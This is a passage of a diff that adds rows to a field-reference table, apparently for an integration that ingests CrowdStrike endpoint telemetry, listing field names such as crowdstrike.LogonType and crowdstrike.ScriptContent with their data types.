+| crowdstrike.LanguageId |  | keyword |
+| crowdstrike.LastAdded |  | match_only_text |
+| crowdstrike.LastDiscoveredBy |  | keyword |
+| crowdstrike.LastDisplayed |  | match_only_text |
+| crowdstrike.LastLoggedOnHost |  | keyword |
+| crowdstrike.LastPendingUpdateInstalledTime |  | match_only_text |
+| crowdstrike.LaunchItemType |  | match_only_text |
+| crowdstrike.LaunchItemUrl |  | match_only_text |
+| crowdstrike.LdapSearchFilterSample |  | match_only_text |
+| crowdstrike.LfoUploadFlags |  | keyword |
+| crowdstrike.LightningLatencyState |  | keyword |
+| crowdstrike.Line |  | keyword |
+| crowdstrike.LinkLocalAddressBehavior |  | keyword |
+| crowdstrike.LinkLocalAddressTimeout |  | keyword |
+| crowdstrike.LocalAddressIP4 |  | ip |
+| crowdstrike.LocalAddressIP6 |  | ip |
+| crowdstrike.LocalAddressMaskIP4 |  | keyword |
+| crowdstrike.LocalAddressMaskIP6 |  | keyword |
+| crowdstrike.LocalAdminAccess |  | keyword |
+| crowdstrike.LocalIP |  | ip |
+| crowdstrike.LocalIPv6 |  | ip |
+| crowdstrike.LocalIpAddressPipelineSource |  | keyword |
+| crowdstrike.LogicalCoreCount |  | long |
+| crowdstrike.LoginSessionId |  | keyword |
+| crowdstrike.LogoffTime |  | date |
+| crowdstrike.LogonDomain |  | keyword |
+| crowdstrike.LogonId |  | keyword |
+| crowdstrike.LogonInfo |  | keyword |
+| crowdstrike.LogonServer |  | keyword |
+| crowdstrike.LogonTime |  | date |
+| crowdstrike.LogonType |  | keyword |
+| crowdstrike.MACAddress |  | keyword |
+| crowdstrike.MACPrefix |  | keyword |
+| crowdstrike.MD5HashData |  | keyword |
+| crowdstrike.MD5String |  | keyword |
+| crowdstrike.MLModelVersion |  | keyword |
+| crowdstrike.MachOSubType |  | keyword |
+| crowdstrike.MajorFunction |  | keyword |
+| crowdstrike.MajorVersion |  | keyword |
+| crowdstrike.Malicious |  | keyword |
+| crowdstrike.ManagedPdbBuildPath |  | match_only_text |
+| crowdstrike.MappedFromUserMode |  | keyword |
+| crowdstrike.MatchedClassification.ID |  | keyword |
+| crowdstrike.MatchedClassification.Name |  | keyword |
+| crowdstrike.MaxReassemblySize |  | keyword |
+| crowdstrike.MaxRouterAdvertisementInterval |  | keyword |
+| crowdstrike.MaxThreadCount |  | long |
+| crowdstrike.MediaConnectState |  | keyword |
+| crowdstrike.MediaType |  | keyword |
+| crowdstrike.MemoryAvailable |  | match_only_text |
+| crowdstrike.MemoryTotal |  | keyword |
+| crowdstrike.Metric |  | keyword |
+| crowdstrike.MicrocodeSignature |  | keyword |
+| crowdstrike.MinRouterAdvertisementInterval |  | keyword |
+| crowdstrike.MinorFunction |  | keyword |
+| crowdstrike.MinorVersion |  | keyword |
+| crowdstrike.MmioDataGenPmconB |  | match_only_text |
+| crowdstrike.MmioDataSmiEn |  | match_only_text |
+| crowdstrike.MmioDataTco1Cnt |  | match_only_text |
+| crowdstrike.MoboManufacturer |  | keyword |
+| crowdstrike.MoboProductName |  | keyword |
+| crowdstrike.ModelPrediction |  | keyword |
+| crowdstrike.ModuleCharacteristics |  | keyword |
+| crowdstrike.ModuleILPath |  | keyword |
+| crowdstrike.ModuleLoadCount |  | long |
+| crowdstrike.ModuleLoadTelemetryClassification |  | keyword |
+| crowdstrike.ModuleSize |  | keyword |
+| crowdstrike.MountedVolumeAction |  | keyword |
+| crowdstrike.NDRoot |  | keyword |
+| crowdstrike.NegateInterface |  | keyword |
+| crowdstrike.NegateLocalAddress |  | keyword |
+| crowdstrike.NegateRemoteAddress |  | keyword |
+| crowdstrike.NeighborList |  | keyword |
+| crowdstrike.NeighborName |  | keyword |
+| crowdstrike.NetLuidIndex |  | long |
+| crowdstrike.NetworkAccesses.AccessTimestamp |  | keyword |
+| crowdstrike.NetworkAccesses.AccessType |  | keyword |
+| crowdstrike.NetworkAccesses.ConnectionDirection |  | keyword |
+| crowdstrike.NetworkAccesses.IsIPV6 |  | keyword |
+| crowdstrike.NetworkAccesses.LocalAddress |  | keyword |
+| crowdstrike.NetworkAccesses.LocalPort |  | keyword |
+| crowdstrike.NetworkAccesses.Protocol |  | keyword |
+| crowdstrike.NetworkAccesses.RemoteAddress |  | keyword |
+| crowdstrike.NetworkAccesses.RemotePort |  | keyword |
+| crowdstrike.NetworkBindCount |  | long |
+| crowdstrike.NetworkCapableAsepWriteCount |  | long |
+| crowdstrike.NetworkCloseCount |  | long |
+| crowdstrike.NetworkConnectCount |  | long |
+| crowdstrike.NetworkConnectCountUdp |  | long |
+| crowdstrike.NetworkContainmentState |  | keyword |
+| crowdstrike.NetworkGuid |  | keyword |
+| crowdstrike.NetworkInterfaceGuid |  | keyword |
+| crowdstrike.NetworkListenCount |  | long |
+| crowdstrike.NetworkModuleLoadCount |  | long |
+| crowdstrike.NetworkRecvAcceptCount |  | long |
+| crowdstrike.NewExecutableWrittenCount |  | long |
+| crowdstrike.NewFileAttributesLinux |  | keyword |
+| crowdstrike.NewFileIdentifier |  | keyword |
+| crowdstrike.NewUnixPermissions |  | keyword |
+| crowdstrike.NlMtu |  | keyword |
+| crowdstrike.Nonce |  | unsigned_long |
+| crowdstrike.OSVersionFileData |  | match_only_text |
+| crowdstrike.OSVersionFileName |  | keyword |
+| crowdstrike.OU |  | keyword |
+| crowdstrike.Object1Type |  | keyword |
+| crowdstrike.ObjectAccessOperationType |  | keyword |
+| crowdstrike.ObjectNameEtw |  | match_only_text |
+| crowdstrike.ObjectType |  | keyword |
+| crowdstrike.ObjectTypeEtw |  | match_only_text |
+| crowdstrike.Objective |  | keyword |
+| crowdstrike.OciContainerAppName |  | match_only_text |
+| crowdstrike.OciContainerAppVersion |  | match_only_text |
+| crowdstrike.OciContainerConfigImage |  | match_only_text |
+| crowdstrike.OciContainerConfigLabels |  | match_only_text |
+| crowdstrike.OciContainerConfigTty |  | match_only_text |
+| crowdstrike.OciContainerConfigUser |  | match_only_text |
+| crowdstrike.OciContainerEngineType |  | match_only_text |
+| crowdstrike.OciContainerHostConfigCgroup |  | match_only_text |
+| crowdstrike.OciContainerHostConfigDevices |  | match_only_text |
+| crowdstrike.OciContainerHostConfigOomKillDisable |  | match_only_text |
+| crowdstrike.OciContainerHostConfigPrivileged |  | match_only_text |
+| crowdstrike.OciContainerHostConfigPublishAllPorts |  | match_only_text |
+| crowdstrike.OciContainerHostConfigReadOnlyRootfs |  | match_only_text |
+| crowdstrike.OciContainerId |  | match_only_text |
+| crowdstrike.OciContainerImageId |  | match_only_text |
+| crowdstrike.OciContainerInfoRetransmitted |  | match_only_text |
+| crowdstrike.OciContainerMounts |  | match_only_text |
+| crowdstrike.OciContainerName |  | match_only_text |
+| crowdstrike.OciContainerNetworkSettingsIpAddress |  | match_only_text |
+| crowdstrike.OciContainerPhase |  | match_only_text |
+| crowdstrike.OciContainerStateOOMKilled |  | match_only_text |
+| crowdstrike.OciContainerStatePid |  | match_only_text |
+| crowdstrike.OciContainersStartedCount |  | match_only_text |
+| crowdstrike.OciContainersStoppedCount |  | match_only_text |
+| crowdstrike.OnLinkPrefixLength |  | keyword |
+| crowdstrike.OperStatus |  | keyword |
+| crowdstrike.OperationFlags |  | keyword |
+| crowdstrike.Options |  | keyword |
+| crowdstrike.OriginWebLocations |  | flattened |
+| crowdstrike.OriginalContentLength |  | keyword |
+| crowdstrike.OriginalEventTimeStamp |  | keyword |
+| crowdstrike.OriginalFilename |  | keyword |
+| crowdstrike.OriginalParentAuthenticationId |  | keyword |
+| crowdstrike.OriginalUserName |  | keyword |
+| crowdstrike.OriginalUserSid |  | keyword |
+| crowdstrike.OutBroadcastOctets |  | keyword |
+| crowdstrike.OutDiscards |  | keyword |
+| crowdstrike.OutErrors |  | keyword |
+| crowdstrike.OutMulticastOctets |  | keyword |
+| crowdstrike.OutMulticastPkts |  | keyword |
+| crowdstrike.OutNUcastPkts |  | keyword |
+| crowdstrike.OutOctets |  | keyword |
+| crowdstrike.OutUcastOctets |  | keyword |
+| crowdstrike.OutUcastPkts |  | keyword |
+| crowdstrike.Parameter1 |  | keyword |
+| crowdstrike.Parameter2 |  | keyword |
+| crowdstrike.Parameter3 |  | keyword |
+| crowdstrike.Parameter64_1 |  | keyword |
+| crowdstrike.Parameter64_2 |  | keyword |
+| crowdstrike.Parameter64_3 |  | keyword |
+| crowdstrike.ParentAuthenticationId |  | keyword |
+| crowdstrike.ParentCommandLine |  | keyword |
+| crowdstrike.ParentCommandLine.text | Multi-field of `crowdstrike.ParentCommandLine`. | match_only_text |
+| crowdstrike.ParentImageFileName |  | keyword |
+| crowdstrike.ParentImageFilePath |  | keyword |
+| crowdstrike.ParentProcessPatternIdList |  | keyword |
+| crowdstrike.PasswordLastSet |  | keyword |
+| crowdstrike.PathMtuDiscoveryTimeout |  | keyword |
+| crowdstrike.PatternDispositionDescription |  | keyword |
+| crowdstrike.PatternDispositionFlags.BlockingUnsupportedOrDisabled |  | boolean |
+| crowdstrike.PatternDispositionFlags.BootupSafeguardEnabled |  | boolean |
+| crowdstrike.PatternDispositionFlags.ContainmentFileSystem |  | boolean |
+| crowdstrike.PatternDispositionFlags.CriticalProcessDisabled |  | boolean |
+| crowdstrike.PatternDispositionFlags.Detect |  | boolean |
+| crowdstrike.PatternDispositionFlags.FsOperationBlocked |  | boolean |
+| crowdstrike.PatternDispositionFlags.HandleOperationDowngraded |  | boolean |
+| crowdstrike.PatternDispositionFlags.InddetMask |  | boolean |
+| crowdstrike.PatternDispositionFlags.Indicator |  | boolean |
+| crowdstrike.PatternDispositionFlags.KillActionFailed |  | boolean |
+| crowdstrike.PatternDispositionFlags.KillParent |  | boolean |
+| crowdstrike.PatternDispositionFlags.KillProcess |  | boolean |
+| crowdstrike.PatternDispositionFlags.KillSubProcess |  | boolean |
+| crowdstrike.PatternDispositionFlags.OperationBlocked |  | boolean |
+| crowdstrike.PatternDispositionFlags.PolicyDisabled |  | boolean |
+| crowdstrike.PatternDispositionFlags.ProcessBlocked |  | boolean |
+| crowdstrike.PatternDispositionFlags.QuarantineFile |  | boolean |
+| crowdstrike.PatternDispositionFlags.QuarantineMachine |  | boolean |
+| crowdstrike.PatternDispositionFlags.RegistryOperationBlocked |  | boolean |
+| crowdstrike.PatternDispositionFlags.Rooting |  | boolean |
+| crowdstrike.PatternDispositionFlags.SensorOnly |  | boolean |
+| crowdstrike.PatternDispositionFlags.SuspendParent |  | boolean |
+| crowdstrike.PatternDispositionFlags.SuspendProcess |  | boolean |
+| crowdstrike.PatternDispositionValue |  | long |
+| crowdstrike.PatternId |  | keyword |
+| crowdstrike.PatternIdList |  | match_only_text |
+| crowdstrike.PciAttachmentState |  | keyword |
+| crowdstrike.PciConfigDataBdsm |  | match_only_text |
+| crowdstrike.PciConfigDataBiosCntl |  | match_only_text |
+| crowdstrike.PciConfigDataGenPmconA |  | match_only_text |
+| crowdstrike.PciConfigDataGgc |  | match_only_text |
+| crowdstrike.PciConfigDataHfsts1 |  | match_only_text |
+| crowdstrike.PciConfigDataMesegBase |  | match_only_text |
+| crowdstrike.PciConfigDataRemapbase |  | match_only_text |
+| crowdstrike.PciConfigDataRemaplimit |  | match_only_text |
+| crowdstrike.PciConfigDataSmramc |  | match_only_text |
+| crowdstrike.PciConfigDataTom |  | match_only_text |
+| crowdstrike.PciConfigDataTouud |  | match_only_text |
+| crowdstrike.PciConfigDataTsegmb |  | match_only_text |
+| crowdstrike.Pcr0 |  | match_only_text |
+| crowdstrike.Pcr1 |  | match_only_text |
+| crowdstrike.Pcr2 |  | match_only_text |
+| crowdstrike.Pcr3 |  | match_only_text |
+| crowdstrike.Pcr4 |  | match_only_text |
+| crowdstrike.Pcr5 |  | match_only_text |
+| crowdstrike.Pcr6 |  | match_only_text |
+| crowdstrike.Pcr7 |  | match_only_text |
+| crowdstrike.PendingUpdateIds |  | match_only_text |
+| crowdstrike.PerformanceCounter |  | keyword |
+| crowdstrike.PermanentPhysicalAddress |  | keyword |
+| crowdstrike.PhysicalAddress |  | keyword |
+| crowdstrike.PhysicalAddressLength |  | long |
+| crowdstrike.PhysicalCoreCount |  | long |
+| crowdstrike.PhysicalMediumType |  | keyword |
+| crowdstrike.PlatformId |  | keyword |
+| crowdstrike.PlatformName |  | keyword |
+| crowdstrike.PointerSize |  | keyword |
+| crowdstrike.Policy.ID |  | keyword |
+| crowdstrike.Policy.Name |  | keyword |
+| crowdstrike.PolicyRuleSeverity |  | long |
+| crowdstrike.PreferredLifetime |  | keyword |
+| crowdstrike.PrefixLength |  | keyword |
+| crowdstrike.PrefixOrigin |  | keyword |
+| crowdstrike.Prevalence.Key |  | keyword |
+| crowdstrike.PreviousConnectTime |  | date |
+| crowdstrike.PreviousFileAttributesLinux |  | keyword |
+| crowdstrike.PreviousUnixPermissions |  | keyword |
+| crowdstrike.PrimaryModule |  | keyword |
+| crowdstrike.PrivilegedProcessHandleCount |  | long |
+| crowdstrike.PrivilegesBitmask |  | keyword |
+| crowdstrike.ProcessAttributes |  | match_only_text |
+| crowdstrike.ProcessCount |  | long |
+| crowdstrike.ProcessCreateFlags |  | keyword |
+| crowdstrike.ProcessId |  | long |
+| crowdstrike.ProcessParameterFlags |  | keyword |
+| crowdstrike.ProcessStartKey |  | keyword |
+| crowdstrike.ProcessSxsFlags |  | keyword |
+| crowdstrike.ProcessorPackageCount |  | long |
+| crowdstrike.ProductType |  | keyword |
+| crowdstrike.ProtectVirtualMemoryCount |  | long |
+| crowdstrike.ProvisionState |  | keyword |
+| crowdstrike.PublicKeys |  | keyword |
+| crowdstrike.PupAdwareConfidence |  | keyword |
+| crowdstrike.PupAdwareDecisionValue |  | keyword |
+| crowdstrike.QuarantinedFileExtendedState |  | match_only_text |
+| crowdstrike.QuarantinedFileName |  | match_only_text |
+| crowdstrike.QuarantinedFileState |  | match_only_text |
+| crowdstrike.QueryStatus |  | integer |
+| crowdstrike.QueueApcCount |  | long |
+| crowdstrike.RFMState |  | keyword |
+| crowdstrike.RGID |  | keyword |
+| crowdstrike.RPath |  | match_only_text |
+| crowdstrike.RTRState |  | keyword |
+| crowdstrike.RUID |  | keyword |
+| crowdstrike.RawThreadId |  | keyword |
+| crowdstrike.ReachableTime |  | keyword |
+| crowdstrike.ReasonOfFunctionalityLevel |  | keyword |
+| crowdstrike.ReceiveLinkSpeed |  | keyword |
+| crowdstrike.ReferrerUrl |  | keyword |
+| crowdstrike.RegBinaryValue |  | match_only_text |
+| crowdstrike.RegClassification |  | keyword |
+| crowdstrike.RegClassificationFlags |  | keyword |
+| crowdstrike.RegClassificationIndex |  | keyword |
+| crowdstrike.RegConfigClass |  | keyword |
+| crowdstrike.RegConfigFlags |  | keyword |
+| crowdstrike.RegConfigIndex |  | keyword |
+| crowdstrike.RegConfigValueType |  | keyword |
+| crowdstrike.RegCreateDisposition |  | match_only_text |
+| crowdstrike.RegCreateOptions |  | match_only_text |
+| crowdstrike.RegKeySecurityDecreasedCount |  | long |
+| crowdstrike.RegObjectName |  | keyword |
+| crowdstrike.RegOperationType |  | keyword |
+| crowdstrike.RegPostObjectName |  | match_only_text |
+| crowdstrike.RegRootObjectName |  | match_only_text |
+| crowdstrike.RegStringValue |  | match_only_text |
+| crowdstrike.RegType |  | keyword |
+| crowdstrike.RegValueName |  | keyword |
+| crowdstrike.RelatedClassifications.ID |  | keyword |
+| crowdstrike.RelatedClassifications.Name |  | keyword |
+| crowdstrike.RemoteAccount |  | keyword |
+| crowdstrike.RemoteAddressMaskIP4 |  | keyword |
+| crowdstrike.RemoteAddressMaskIP6 |  | keyword |
+| crowdstrike.RemoteAddressString |  | keyword |
+| crowdstrike.RemovableDiskFileWrittenCount |  | long |
+| crowdstrike.RequestType |  | keyword |
+| crowdstrike.ResendToCloud |  | keyword |
+| crowdstrike.ResourceAttributes |  | flattened |
+| crowdstrike.ResourceCreateTime |  | date |
+| crowdstrike.ResourceId |  | keyword |
+| crowdstrike.ResourceIdType |  | keyword |
+| crowdstrike.RespondingDnsServer |  | keyword |
+| crowdstrike.ResponseAction |  | keyword |
+| crowdstrike.RetransmitTime |  | keyword |
+| crowdstrike.RootPath |  | keyword |
+| crowdstrike.RouteAge |  | keyword |
+| crowdstrike.RouteMetric |  | keyword |
+| crowdstrike.RouteOrigin |  | keyword |
+| crowdstrike.RouterDiscoveryBehavior |  | keyword |
+| crowdstrike.RpcClientProcessId |  | keyword |
+| crowdstrike.RpcClientThreadId |  | keyword |
+| crowdstrike.RpcNestingLevel |  | keyword |
+| crowdstrike.RpcOpClassification |  | match_only_text |
+| crowdstrike.RpcOpNum |  | keyword |
+| crowdstrike.RuleId |  | keyword |
+| crowdstrike.RunDllInvocationCount |  | long |
+| crowdstrike.SHA1HashData |  | keyword |
+| crowdstrike.SHA1String |  | keyword |
+| crowdstrike.SHA256HashData |  | keyword |
+| crowdstrike.SHA256String |  | keyword |
+| crowdstrike.SVGID |  | keyword |
+| crowdstrike.SVUID |  | keyword |
+| crowdstrike.SamAccountName |  | match_only_text |
+| crowdstrike.ScopeLevel |  | keyword |
+| crowdstrike.ScopeZone |  | keyword |
+| crowdstrike.ScreenshotType |  | keyword |
+| crowdstrike.ScreenshotsTakenCount |  | long |
+| crowdstrike.ScriptContent |  | match_only_text |
+| crowdstrike.ScriptContentBytes |  | match_only_text |
+| crowdstrike.ScriptContentName |  | keyword |
+| crowdstrike.ScriptContentScanId |  | match_only_text |
+| crowdstrike.ScriptControlErrorCode |  | keyword |
+| crowdstrike.ScriptEngineInvocationCount |  | long |
+| crowdstrike.ScriptingLanguageId |  | keyword |
+| crowdstrike.SecurityInformationLinux |  | keyword |
+| crowdstrike.SensorGroupingTags |  | keyword |
+| crowdstrike.SensorId |  | keyword |
+| crowdstrike.SensorStateBitMap |  | keyword |
+| crowdstrike.ServiceAccessPropertiesEtw |  | match_only_text |
+| crowdstrike.ServiceCurrentState |  | keyword |
+| crowdstrike.ServiceDelayedAutoStart |  | match_only_text |
+| crowdstrike.ServiceDependOnService |  | match_only_text |
+| crowdstrike.ServiceDescription |  | keyword |
+| crowdstrike.ServiceDisplayName |  | keyword |
+| crowdstrike.ServiceErrorControl |  | keyword |
+| crowdstrike.ServiceEventCount |  | long |
+| crowdstrike.ServiceFailureActions |  | keyword |
+| crowdstrike.ServiceImagePath |  | keyword |
+| crowdstrike.ServicePackMajor |  | keyword |
+| crowdstrike.ServiceSecurity |  | keyword |
+| crowdstrike.ServiceStart |  | keyword |
+| crowdstrike.ServiceType |  | keyword |
+| crowdstrike.SessionId |  | keyword |
+| crowdstrike.SessionProcessId |  | keyword |
+| crowdstrike.SetThreadContextCount |  | long |
+| crowdstrike.Severity |  | integer |
+| crowdstrike.SeverityName |  | keyword |
+| crowdstrike.ShannonEntropy |  | keyword |
+| crowdstrike.ShareAccess |  | keyword |
+| crowdstrike.ShareName |  | keyword |
+| crowdstrike.ShareSecurity |  | keyword |
+| crowdstrike.ShareSecuritySddl |  | keyword |
+| crowdstrike.SignInfoFlags |  | keyword |
+| crowdstrike.SignatureErrorState |  | keyword |
+| crowdstrike.SignatureState |  | keyword |
+| crowdstrike.SiteName |  | keyword |
+| crowdstrike.SitePrefixLength |  | keyword |
+| crowdstrike.Size |  | long |
+| crowdstrike.SkipAsSource |  | keyword |
+| crowdstrike.SmbClientName |  | keyword |
+| crowdstrike.SmbShareName |  | keyword |
+| crowdstrike.SnapshotFileOpenCount |  | long |
+| crowdstrike.SourceAccountDomain |  | keyword |
+| crowdstrike.SourceAccountObjectGuid |  | keyword |
+| crowdstrike.SourceAccountObjectSid |  | keyword |
+| crowdstrike.SourceAccountSamAccountName |  | keyword |
+| crowdstrike.SourceEndpointAccountObjectGuid |  | keyword |
+| crowdstrike.SourceEndpointAccountObjectSid |  | keyword |
+| crowdstrike.SourceEndpointAddressIP4 |  | keyword |
+| crowdstrike.SourceEndpointHostName |  | keyword |
+| crowdstrike.SourceEndpointNetworkTag |  | keyword |
+| crowdstrike.SourceEndpointNetworkType |  | keyword |
+| crowdstrike.SourceEventUniqueId |  | keyword |
+| crowdstrike.SourceFileName |  | keyword |
+| crowdstrike.SourceProcessId |  | keyword |
+| crowdstrike.SourceProducts |  | keyword |
+| crowdstrike.SourceThreadId |  | keyword |
+| crowdstrike.SourceThreadModule |  | match_only_text |
+| crowdstrike.SourceThreadStartAddress |  | keyword |
+| crowdstrike.SourceVendors |  | keyword |
+| crowdstrike.SpibarDataBfpr |  | match_only_text |
+| crowdstrike.SpibarDataFreg0 |  | match_only_text |
+| crowdstrike.SpibarDataFreg1 |  | match_only_text |
+| crowdstrike.SpibarDataFreg2 |  | match_only_text |
+| crowdstrike.SpibarDataFreg3 |  | match_only_text |
+| crowdstrike.SpibarDataFreg4 |  | match_only_text |
+| crowdstrike.SpibarDataHsfs |  | match_only_text |
+| crowdstrike.SpibarDataPr0 |  | match_only_text |
+| crowdstrike.SpibarDataPr1 |  | match_only_text |
+| crowdstrike.SpibarDataPr2 |  | match_only_text |
+| crowdstrike.SpibarDataPr3 |  | match_only_text |
+| crowdstrike.SpibarDataPr4 |  | match_only_text |
+| crowdstrike.SpibarDataVscc0 |  | match_only_text |
+| crowdstrike.SpibarDataVscc1 |  | match_only_text |
+| crowdstrike.StartTime |  | date |
+| crowdstrike.Status |  | keyword |
+| crowdstrike.StorageUsageInfo |  | match_only_text |
+| crowdstrike.SubStatus |  | keyword |
+| crowdstrike.SubjectDomainNameEtw |  | match_only_text |
+| crowdstrike.SuffixOrigin |  | keyword |
+| crowdstrike.SuppressType |  | keyword |
+| crowdstrike.Suppression.Suppressed |  | boolean |
+| crowdstrike.SuspectStackCount |  | long |
+| crowdstrike.SuspiciousCredentialModuleLoadCount |  | long |
+| crowdstrike.SuspiciousDnsRequestCount |  | long |
+| crowdstrike.SuspiciousFontLoadCount |  | long |
+| crowdstrike.SuspiciousRawDiskReadCount |  | long |
+| crowdstrike.SymbolicLinkName |  | keyword |
+| crowdstrike.SymbolicLinkTarget |  | keyword |
+| crowdstrike.SyntheticPR2Flags |  | keyword |
+| crowdstrike.SystemManufacturer |  | keyword |
+| crowdstrike.SystemProcessCount |  | match_only_text |
+| crowdstrike.SystemProductName |  | keyword |
+| crowdstrike.SystemSerialNumber |  | keyword |
+| crowdstrike.SystemSku |  | keyword |
+| crowdstrike.SystemTableIndex |  | long |
+| crowdstrike.Tactic |  | keyword |
+| crowdstrike.Tags |  | keyword |
+| crowdstrike.TargetAuthenticationId |  | keyword |
+| crowdstrike.TargetCommandLineParameters |  | keyword |
+| crowdstrike.TargetDomainControllerObjectGuid |  | keyword |
+| crowdstrike.TargetDomainControllerObjectSid |  | keyword |
+| crowdstrike.TargetFileName |  | keyword |
+| crowdstrike.TargetIntegrityLevel |  | keyword |
+| crowdstrike.TargetProcessCommandLine |  | keyword |
+| crowdstrike.TargetProcessImageFileName |  | keyword |
+| crowdstrike.TargetSHA256HashData |  | keyword |
+| crowdstrike.TargetThreadId |  | keyword |
+| crowdstrike.TargetThreadModule |  | keyword |
+| crowdstrike.TaskAuthor |  | keyword |
+| crowdstrike.TaskExecArguments |  | keyword |
+| crowdstrike.TaskExecCommand |  | keyword |
+| crowdstrike.TaskName |  | keyword |
+| crowdstrike.TaskXml |  | match_only_text |
+| crowdstrike.Technique |  | keyword |
+| crowdstrike.TemplateDisposition |  | keyword |
+| crowdstrike.TemplateInstanceId |  | keyword |
+| crowdstrike.ThreadStartAddress |  | keyword |
+| crowdstrike.ThreadStartBytes |  | match_only_text |
+| crowdstrike.ThreadStartContext |  | keyword |
+| crowdstrike.Timeout |  | long |
+| crowdstrike.TokenType |  | keyword |
+| crowdstrike.TotalCount |  | long |
+| crowdstrike.TransmitLinkSpeed |  | keyword |
+| crowdstrike.TreeId |  | keyword |
+| crowdstrike.TunnelType |  | keyword |
+| crowdstrike.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword |
+| crowdstrike.USN |  | keyword |
+| crowdstrike.UninstallPendingUpdateIds |  | match_only_text |
+| crowdstrike.UnixMode |  | keyword |
+| crowdstrike.UnsignedModuleLoadCount |  | long |
+| crowdstrike.UpdateFlag |  | keyword |
+| crowdstrike.UploadId |  | keyword |
+| crowdstrike.User |  | keyword |
+| crowdstrike.UserDepartment |  | keyword |
+| crowdstrike.UserFlags |  | keyword |
+| crowdstrike.UserGroupsBitmask |  | keyword |
+| crowdstrike.UserLogoffType |  | keyword |
+| crowdstrike.UserLogonFlags |  | keyword |
+| crowdstrike.UserLogonFlags_decimal |  | keyword |
+| crowdstrike.UserMapped |  | boolean |
+| crowdstrike.UserMemoryAllocateExecutableCount |  | long |
+| crowdstrike.UserMemoryAllocateExecutableRemoteCount |  | long |
+| crowdstrike.UserMemoryProtectExecutableCount |  | long |
+| crowdstrike.UserMemoryProtectExecutableRemoteCount |  | long |
+| crowdstrike.UserName |  | keyword |
+| crowdstrike.UserNotified |  | boolean |
+| crowdstrike.UserRid |  | keyword |
+| crowdstrike.UserSid |  | keyword |
+| crowdstrike.UserSid_readable |  | keyword |
+| crowdstrike.UserThread |  | keyword |
+| crowdstrike.UserTime |  | long |
+| crowdstrike.UserTitle |  | keyword |
+| crowdstrike.ValidLifetime |  | keyword |
+| crowdstrike.VerifiedCertificate |  | keyword |
+| crowdstrike.VersionInfo |  | match_only_text |
+| crowdstrike.VnodeModificationType |  | keyword |
+| crowdstrike.VnodeType |  | keyword |
+| crowdstrike.VolumeAppearanceTime |  | keyword |
+| crowdstrike.VolumeBusName |  | keyword |
+| crowdstrike.VolumeBusPath |  | keyword |
+| crowdstrike.VolumeDeviceCharacteristics |  | keyword |
+| crowdstrike.VolumeDeviceInternal |  | keyword |
+| crowdstrike.VolumeDeviceModel |  | keyword |
+| crowdstrike.VolumeDeviceObjectFlags |  | keyword |
+| crowdstrike.VolumeDevicePath |  | keyword |
+| crowdstrike.VolumeDeviceProtocol |  | keyword |
+| crowdstrike.VolumeDeviceRevision |  | keyword |
+| crowdstrike.VolumeDeviceType |  | keyword |
+| crowdstrike.VolumeDeviceVendor |  | match_only_text |
+| crowdstrike.VolumeDriveLetter |  | keyword |
+| crowdstrike.VolumeEncryptionStatus |  | keyword |
+| crowdstrike.VolumeFileSystemDevice |  | keyword |
+| crowdstrike.VolumeFileSystemDriver |  | keyword |
+| crowdstrike.VolumeFileSystemType |  | keyword |
+| crowdstrike.VolumeIsEncrypted |  | keyword |
+| crowdstrike.VolumeIsNetwork |  | keyword |
+| crowdstrike.VolumeLabel |  | keyword |
+| crowdstrike.VolumeMediaBSDMajor |  | keyword |
+| crowdstrike.VolumeMediaBSDMinor |  | keyword |
+| crowdstrike.VolumeMediaBSDName |  | keyword |
+| crowdstrike.VolumeMediaBSDUnit |  | keyword |
+| crowdstrike.VolumeMediaContent |  | keyword |
+| crowdstrike.VolumeMediaEjectable |  | keyword |
+| crowdstrike.VolumeMediaName |  | keyword |
+| crowdstrike.VolumeMediaPath |  | keyword |
+| crowdstrike.VolumeMediaRemovable |  | keyword |
+| crowdstrike.VolumeMediaSize |  | keyword |
+| crowdstrike.VolumeMediaUUID |  | keyword |
+| crowdstrike.VolumeMediaWhole |  | keyword |
+| crowdstrike.VolumeMediaWritable |  | keyword |
+| crowdstrike.VolumeMountPoint |  | keyword |
+| crowdstrike.VolumeName |  | keyword |
+| crowdstrike.VolumeOriginPath |  | match_only_text |
+| crowdstrike.VolumeRealDeviceName |  | keyword |
+| crowdstrike.VolumeSectorSize |  | keyword |
+| crowdstrike.VolumeSessionUUID |  | keyword |
+| crowdstrike.VolumeSnapshotName |  | match_only_text |
+| crowdstrike.VolumeSnapshotTimeStamp |  | match_only_text |
+| crowdstrike.VolumeType |  | keyword |
+| crowdstrike.VolumeUUID |  | keyword |
+| crowdstrike.WindowFlags |  | keyword |
+| crowdstrike.WmiNamespaceName |  | keyword |
+| crowdstrike.WmiProviderName |  | keyword |
+| crowdstrike.WmiProviderType |  | keyword |
+| crowdstrike.WmiQuery |  | keyword |
+| crowdstrike.__mv_LocalAddressIP4 |  | keyword |
+| crowdstrike.__mv_aip |  | keyword |
+| crowdstrike.__mv_discoverer_aid |  | keyword |
+| crowdstrike.aid |  | keyword |
+| crowdstrike.aipCount |  | integer |
+| crowdstrike.assessments |  | flattened |
+| crowdstrike.attack_types |  | keyword |
+| crowdstrike.aws_account_id |  | keyword |
+| crowdstrike.cid |  | keyword |
+| crowdstrike.cis_benchmark_ids |  | keyword |
+| crowdstrike.cisa_benchmark_ids |  | keyword |
+| crowdstrike.cloud_asset_type |  | long |
+| crowdstrike.cloudplatform |  | keyword |
+| crowdstrike.compliance.benchmarkNames |  | keyword |
+| crowdstrike.compliance.frameworks |  | keyword |
+| crowdstrike.compliance.requirements |  | keyword |
+| crowdstrike.compliance.sections |  | keyword |
+| crowdstrike.compliance.versions |  | keyword |
+| crowdstrike.created |  | date |
+| crowdstrike.crn |  | keyword |
+| crowdstrike.discovererCount |  | integer |
+| crowdstrike.discoverer_aid |  | keyword |
+| crowdstrike.disposition |  | keyword |
+| crowdstrike.eid |  | integer |
+| crowdstrike.event-type |  | keyword |
+| crowdstrike.event_category |  | keyword |
+| crowdstrike.finding |  | keyword |
+| crowdstrike.findings.name |  | keyword |
+| crowdstrike.findings.value |  | keyword |
+| crowdstrike.firstDetected |  | date |
+| crowdstrike.hostname |  | keyword |
+| crowdstrike.id |  | keyword |
+| crowdstrike.info.host.\* | Host information enriched from aidmaster data. | object |
+| crowdstrike.info.user.\* | User information enriched from userinfo data. | object |
+| crowdstrike.internal_only |  | boolean |
+| crowdstrike.iso_benchmark_ids |  | keyword |
+| crowdstrike.lastDetected |  | date |
+| crowdstrike.legacyPolicyId |  | long |
+| crowdstrike.localipCount |  | integer |
